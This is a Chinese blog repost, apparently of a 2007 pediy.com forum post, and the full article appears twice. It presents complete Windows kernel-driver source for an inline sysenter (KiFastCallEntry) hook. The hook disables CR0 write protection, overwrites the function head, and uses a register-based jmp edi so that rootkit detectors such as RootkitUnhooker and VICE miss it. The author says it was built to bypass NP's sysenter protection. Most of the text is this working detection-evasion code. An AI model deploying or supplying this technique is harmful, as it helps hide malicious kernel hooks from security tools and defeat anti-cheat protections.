另一种sysenter hook方法(绕过绝大多数的rootkit检测工具的检测)
                                                            生活随笔
收集整理的這篇文章主要介紹了
                                另一种sysenter hook方法(绕过绝大多数的rootkit检测工具的检测)
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.                        
                                
                            
                            
                            標 題:
?
【原創】另一種sysenter hook方法(繞過絕大多數的rootkit檢測工具的檢測)
作 者:?墮落天才
時 間:?2007-04-14,11:09:49
鏈 接:?http://bbs.pediy.com/showthread.php?t=42705
 
*****************************************************************************
*標題:【原創】另一種sysenter? hook方法(繞過絕大多數的rootkit檢測工具的檢測)? ? *
*作者:墮落天才? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? *
*日期:2007年4月14號? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? *
*****************************************************************************
 
? ? ? ? 先廢話,當初是為了繞開NP對sysenter保護而想出來的,后來發現連RootkitUnhooker都繞了.
 
? ? ? ? 什么是sysenter? hook我也不羅唆了,一般的攔截方法就是通過rdmsr? wrmsr? 兩個指令把原來的sysenter地址改成自己的sysenter地址來實現的.這種方法使用方便,但檢測也很容易.
? ? ? ? 這里介紹的另外一種方法不改變sysenter地址,而是通過直接在原來sysenter地址里面寫跳轉代碼來實現的,這實際上跟一般的函數頭inline? hook一樣.這樣rootkit檢測工具就不會認為sysenter已經改變(實際上也是沒變).
? ? ? ? 一般的rootkit檢測工具檢測函數inline? hook是通過檢測長跳轉指令0xE9的來判斷跳轉距離是不是超出函數所在的模塊范圍來確定 的.但是實現跳轉我們也可以借助寄存器或變量(用變量跳轉需要涉及重定位問題,麻煩.所以一般用寄存器),這樣跳轉指令就不是0xE9了而是0xFF,這 個絕大多數rootkit檢測工具是檢測不到的(包括著名的RootkitUnhooker,VICE).
 
? ? ? ? 由于我們已經改變了KiFastCall函數頭,所以我們只能把原來的函數頭代碼放到另外一個地方執行(動態分配內存,當然如果不考慮兼容性硬編碼也沒問題),然后再跳轉回來.這里使用了"三級跳",大概是這個樣子.
? ? ? ? sysenter->KiFastCall
? ? ? ? ? ? ? ? ? ? ? ? ? JMP? ->? MyKiFastCall(這里進行攔截或什么的)
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? JMP? ->? KiFastCall? head? code? (這里執行原來KiFastCall函數頭代碼)
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? JMP? ->? KiFastCall? +? N(已經執行指令長度)
///? ?
//墮落天才
//2007年4月14日
#include
#include? "OpCodeSize.h"
 
ULONG? uSysenter;? ? ? ? ? ? ? ? ? ? ? //sysenter地址
UCHAR? uOrigSysenterHead[8];//保存原來的八個字節函數頭
PUCHAR? pMovedSysenterCode;? //把原來的KiFastCall函數頭保存在這里
ULONG? i;? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? //記錄服務ID
__declspec(naked)? void? MyKiFastCallEntry(void)
{
? ? __asm{
? ? ? ? ? ? ? ? ? ? ? ? pop? ? edi? ? ? ? ? //因為用到了edi來跳轉? 這里恢復
? ? ? ? ? ? ? ? ? ? ? ? ? mov? ? i,? eax? ? //得到服務ID
? ? }
? ? __asm{? ?
? ? ? ? ? ? ? ? ? ? ? pushad
? ? ? ? ? ? ? ? ? ? ? push? fs
? ? ? ? ? ? ? ? ? ? ? ? ? push? 0x30
? ? ? ? ? ? ? ? ? ? ? ? pop? fs
? ? }
? ?
? ? DbgPrint("sysenter? was? hooked!? Get? service? ID:%X",i);? //證明自己存在
 
? ? __asm{
? ? ? ? ? ? ? ? ? ? ? ? ? pop? fs
? ? ? ? ? ? ? ? ? ? ? ? ? popad? ? ? ?
? ? ? ? jmp? pMovedSysenterCode? //第二跳,跳轉到原來的函數頭代碼?
? ? }
? ?
}
//
VOID? OnUnload(IN? PDRIVER_OBJECT? DriverObject)
{? ? ? ?
? ? __asm{
? ? ? ? cli
? ? ? ? ? ? ? ? ? ? ? ? ? mov? ? eax,cr0
? ? ? ? and? ? eax,not? 10000h
? ? ? ? mov? ? cr0,eax
? ? }
 
? ? memcpy((PVOID)uSysenter,uOrigSysenterHead,8);//把原來函數頭的八個字節恢復
 
? ? __asm{
? ? ? ? mov? ? eax,cr0
? ? ? ? ? ? ? ? ? ? ? ? or? ? ? eax,10000h
? ? ? ? mov? ? cr0,eax
? ? ? ? sti
? ? }
? ? ExFreePool(pMovedSysenterCode);? //? 釋放分配的內存
? ? DbgPrint("Unload? sysenterHook");
}
 
 
VOID? HookSysenter()
{
? ? UCHAR? ? cHookCode[8]? =? {? 0x57,? ? ? ? ? ? ? ? ? ? //push? edi? ? ? ? ? ? ? 第一跳,從KiFastCall跳到MyKiFastCallEntry.并繞過rootkit檢測工具檢測
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 0xBF,0,0,0,0,? ? //mov? ? edi,0000
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 0xFF,0xE7};? ? ? ? //jmp? ? edi
 
? ? UCHAR? ? JmpCode[]={0xE9,0,0,0,0};? ? ? ? ? ? ? //jmp? 0000? 第三跳,從KiFastCall函數頭代碼跳轉到原來KiFastCall+N
 
? ? int? ? ? ? nCopyLen? =? 0;
? ? int? ? ? ? nPos? =? 0;
 
? ? __asm{
? ? ? ? ? ? ? ? ? ? mov? ecx,0x176
? ? ? ? ? ? ? ? ? ? ? ? rdmsr
? ? ? ? mov? uSysenter,eax? ? //得到KiFastCallEntry地址
? ? }
? ? DbgPrint("sysenter:0xX",uSysenter);
 
? ? nPos? =? uSysenter;
? ? ? while(nCopyLen<8){? //我們要改寫的函數頭至少需要8字節? 這里計算實際需要COPY的代碼長度? 因為我們不能把一條完整的指令打斷
? ? ? ? nCopyLen? +=? GetOpCodeSize((PVOID)nPos);? ? //參考1
? ? ? ? nPos? =? uSysenter? +? nCopyLen;
? ? }
? ?
? ? DbgPrint("copy? code? lenght:%d",nCopyLen);
 
? ? pMovedSysenterCode? =? ExAllocatePool(NonPagedPool,20);
 
? ? memcpy(uOrigSysenterHead,(PVOID)uSysenter,8);//備份原來8字節代碼
 
? ? *((ULONG*)(JmpCode+1))? =? (uSysenter? +? nCopyLen)? -? ((ULONG)pMovedSysenterCode? +? nCopyLen)-? 5;//計算跳轉地址
 
? ? memcpy(pMovedSysenterCode,(PVOID)uSysenter,nCopyLen);? //把原來的函數頭放到新分配的內存
? ? memcpy((PVOID)(pMovedSysenterCode? +? nCopyLen),JmpCode,5);? //把跳轉代碼COPY上去
 
? ? *((ULONG*)(cHookCode+2))? =? (ULONG)MyKiFastCallEntry;? //HOOK地址
? ?
? ? DbgPrint("Saved? sysenter? code:0xX",pMovedSysenterCode);
? ? DbgPrint("MyKiFastCallEntry:0xX",MyKiFastCallEntry);
 
? ? __asm{
? ? ? ? cli
? ? ? ? ? ? ? ? ? ? ? ? mov? ? eax,cr0
? ? ? ? and? ? eax,not? 10000h
? ? ? ? mov? ? cr0,eax
? ? }
 
? ? memcpy((PVOID)uSysenter,cHookCode,8);//把改寫原來函數頭
 
? ? __asm{
? ? ? ? mov? ? eax,cr0
? ? ? ? ? ? ? ? ? ? ? ? or? ? ? eax,10000h
? ? ? ? mov? ? cr0,eax
? ? ? ? sti
? ? }
 
}
 
NTSTATUS? DriverEntry(IN? PDRIVER_OBJECT? DriverObject,PUNICODE_STRING? RegistryPath)
{
 
? ? DbgPrint("Welcome? to? sysenterhook.sys");
? ? DriverObject->DriverUnload? =? OnUnload;
? ? HookSysenter();
? ? return? STATUS_SUCCESS;
}? ? ? ?
///?
以上代碼在? XP? SP2中文? +? RootkitUnhooker下測試通過?
 
同理? IDT? hook也可以用這種方法實現,HOOK的實質是改變程序流程,無論在哪里改變
*************************************************************************************************
參考1,? 海風月影 ,【分享】西褲哥的?Hook?Api?Lib?0.2?For?C
                        
                        
                        作 者:?墮落天才
時 間:?2007-04-14,11:09:49
鏈 接:?http://bbs.pediy.com/showthread.php?t=42705
*****************************************************************************
*標題:【原創】另一種sysenter? hook方法(繞過絕大多數的rootkit檢測工具的檢測)? ? *
*作者:墮落天才? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? *
*日期:2007年4月14號? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? *
*****************************************************************************
? ? ? ? 先廢話,當初是為了繞開NP對sysenter保護而想出來的,后來發現連RootkitUnhooker都繞了.
? ? ? ? 什么是sysenter? hook我也不羅唆了,一般的攔截方法就是通過rdmsr? wrmsr? 兩個指令把原來的sysenter地址改成自己的sysenter地址來實現的.這種方法使用方便,但檢測也很容易.
? ? ? ? 這里介紹的另外一種方法不改變sysenter地址,而是通過直接在原來sysenter地址里面寫跳轉代碼來實現的,這實際上跟一般的函數頭inline? hook一樣.這樣rootkit檢測工具就不會認為sysenter已經改變(實際上也是沒變).
? ? ? ? 一般的rootkit檢測工具檢測函數inline? hook是通過檢測長跳轉指令0xE9的來判斷跳轉距離是不是超出函數所在的模塊范圍來確定 的.但是實現跳轉我們也可以借助寄存器或變量(用變量跳轉需要涉及重定位問題,麻煩.所以一般用寄存器),這樣跳轉指令就不是0xE9了而是0xFF,這 個絕大多數rootkit檢測工具是檢測不到的(包括著名的RootkitUnhooker,VICE).
? ? ? ? 由于我們已經改變了KiFastCall函數頭,所以我們只能把原來的函數頭代碼放到另外一個地方執行(動態分配內存,當然如果不考慮兼容性硬編碼也沒問題),然后再跳轉回來.這里使用了"三級跳",大概是這個樣子.
? ? ? ? sysenter->KiFastCall
? ? ? ? ? ? ? ? ? ? ? ? ? JMP? ->? MyKiFastCall(這里進行攔截或什么的)
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? JMP? ->? KiFastCall? head? code? (這里執行原來KiFastCall函數頭代碼)
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? JMP? ->? KiFastCall? +? N(已經執行指令長度)
///? ?
//墮落天才
//2007年4月14日
#include
#include? "OpCodeSize.h"
ULONG? uSysenter;? ? ? ? ? ? ? ? ? ? ? //sysenter地址
UCHAR? uOrigSysenterHead[8];//保存原來的八個字節函數頭
PUCHAR? pMovedSysenterCode;? //把原來的KiFastCall函數頭保存在這里
ULONG? i;? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? //記錄服務ID
__declspec(naked)? void? MyKiFastCallEntry(void)
{
? ? __asm{
? ? ? ? ? ? ? ? ? ? ? ? pop? ? edi? ? ? ? ? //因為用到了edi來跳轉? 這里恢復
? ? ? ? ? ? ? ? ? ? ? ? ? mov? ? i,? eax? ? //得到服務ID
? ? }
? ? __asm{? ?
? ? ? ? ? ? ? ? ? ? ? pushad
? ? ? ? ? ? ? ? ? ? ? push? fs
? ? ? ? ? ? ? ? ? ? ? ? ? push? 0x30
? ? ? ? ? ? ? ? ? ? ? ? pop? fs
? ? }
? ?
? ? DbgPrint("sysenter? was? hooked!? Get? service? ID:%X",i);? //證明自己存在
? ? __asm{
? ? ? ? ? ? ? ? ? ? ? ? ? pop? fs
? ? ? ? ? ? ? ? ? ? ? ? ? popad? ? ? ?
? ? ? ? jmp? pMovedSysenterCode? //第二跳,跳轉到原來的函數頭代碼?
? ? }
? ?
}
//
VOID? OnUnload(IN? PDRIVER_OBJECT? DriverObject)
{? ? ? ?
? ? __asm{
? ? ? ? cli
? ? ? ? ? ? ? ? ? ? ? ? ? mov? ? eax,cr0
? ? ? ? and? ? eax,not? 10000h
? ? ? ? mov? ? cr0,eax
? ? }
? ? memcpy((PVOID)uSysenter,uOrigSysenterHead,8);//把原來函數頭的八個字節恢復
? ? __asm{
? ? ? ? mov? ? eax,cr0
? ? ? ? ? ? ? ? ? ? ? ? or? ? ? eax,10000h
? ? ? ? mov? ? cr0,eax
? ? ? ? sti
? ? }
? ? ExFreePool(pMovedSysenterCode);? //? 釋放分配的內存
? ? DbgPrint("Unload? sysenterHook");
}
VOID? HookSysenter()
{
? ? UCHAR? ? cHookCode[8]? =? {? 0x57,? ? ? ? ? ? ? ? ? ? //push? edi? ? ? ? ? ? ? 第一跳,從KiFastCall跳到MyKiFastCallEntry.并繞過rootkit檢測工具檢測
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 0xBF,0,0,0,0,? ? //mov? ? edi,0000
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 0xFF,0xE7};? ? ? ? //jmp? ? edi
? ? UCHAR? ? JmpCode[]={0xE9,0,0,0,0};? ? ? ? ? ? ? //jmp? 0000? 第三跳,從KiFastCall函數頭代碼跳轉到原來KiFastCall+N
? ? int? ? ? ? nCopyLen? =? 0;
? ? int? ? ? ? nPos? =? 0;
? ? __asm{
? ? ? ? ? ? ? ? ? ? mov? ecx,0x176
? ? ? ? ? ? ? ? ? ? ? ? rdmsr
? ? ? ? mov? uSysenter,eax? ? //得到KiFastCallEntry地址
? ? }
? ? DbgPrint("sysenter:0xX",uSysenter);
? ? nPos? =? uSysenter;
? ? ? while(nCopyLen<8){? //我們要改寫的函數頭至少需要8字節? 這里計算實際需要COPY的代碼長度? 因為我們不能把一條完整的指令打斷
? ? ? ? nCopyLen? +=? GetOpCodeSize((PVOID)nPos);? ? //參考1
? ? ? ? nPos? =? uSysenter? +? nCopyLen;
? ? }
? ?
? ? DbgPrint("copy? code? lenght:%d",nCopyLen);
? ? pMovedSysenterCode? =? ExAllocatePool(NonPagedPool,20);
? ? memcpy(uOrigSysenterHead,(PVOID)uSysenter,8);//備份原來8字節代碼
? ? *((ULONG*)(JmpCode+1))? =? (uSysenter? +? nCopyLen)? -? ((ULONG)pMovedSysenterCode? +? nCopyLen)-? 5;//計算跳轉地址
? ? memcpy(pMovedSysenterCode,(PVOID)uSysenter,nCopyLen);? //把原來的函數頭放到新分配的內存
? ? memcpy((PVOID)(pMovedSysenterCode? +? nCopyLen),JmpCode,5);? //把跳轉代碼COPY上去
? ? *((ULONG*)(cHookCode+2))? =? (ULONG)MyKiFastCallEntry;? //HOOK地址
? ?
? ? DbgPrint("Saved? sysenter? code:0xX",pMovedSysenterCode);
? ? DbgPrint("MyKiFastCallEntry:0xX",MyKiFastCallEntry);
? ? __asm{
? ? ? ? cli
? ? ? ? ? ? ? ? ? ? ? ? mov? ? eax,cr0
? ? ? ? and? ? eax,not? 10000h
? ? ? ? mov? ? cr0,eax
? ? }
? ? memcpy((PVOID)uSysenter,cHookCode,8);//把改寫原來函數頭
? ? __asm{
? ? ? ? mov? ? eax,cr0
? ? ? ? ? ? ? ? ? ? ? ? or? ? ? eax,10000h
? ? ? ? mov? ? cr0,eax
? ? ? ? sti
? ? }
}
NTSTATUS? DriverEntry(IN? PDRIVER_OBJECT? DriverObject,PUNICODE_STRING? RegistryPath)
{
? ? DbgPrint("Welcome? to? sysenterhook.sys");
? ? DriverObject->DriverUnload? =? OnUnload;
? ? HookSysenter();
? ? return? STATUS_SUCCESS;
}? ? ? ?
///?
以上代碼在? XP? SP2中文? +? RootkitUnhooker下測試通過?
同理? IDT? hook也可以用這種方法實現,HOOK的實質是改變程序流程,無論在哪里改變
*************************************************************************************************
參考1,? 海風月影 ,【分享】西褲哥的?Hook?Api?Lib?0.2?For?C
總結
以上是生活随笔為你收集整理的另一种sysenter hook方法(绕过绝大多数的rootkit检测工具的检测)的全部內容,希望文章能夠幫你解決所遇到的問題。
 
                            
                        - 上一篇: SSDT Hook的妙用-对抗ring0
- 下一篇: HOOK -- IAT HOOK 本进程
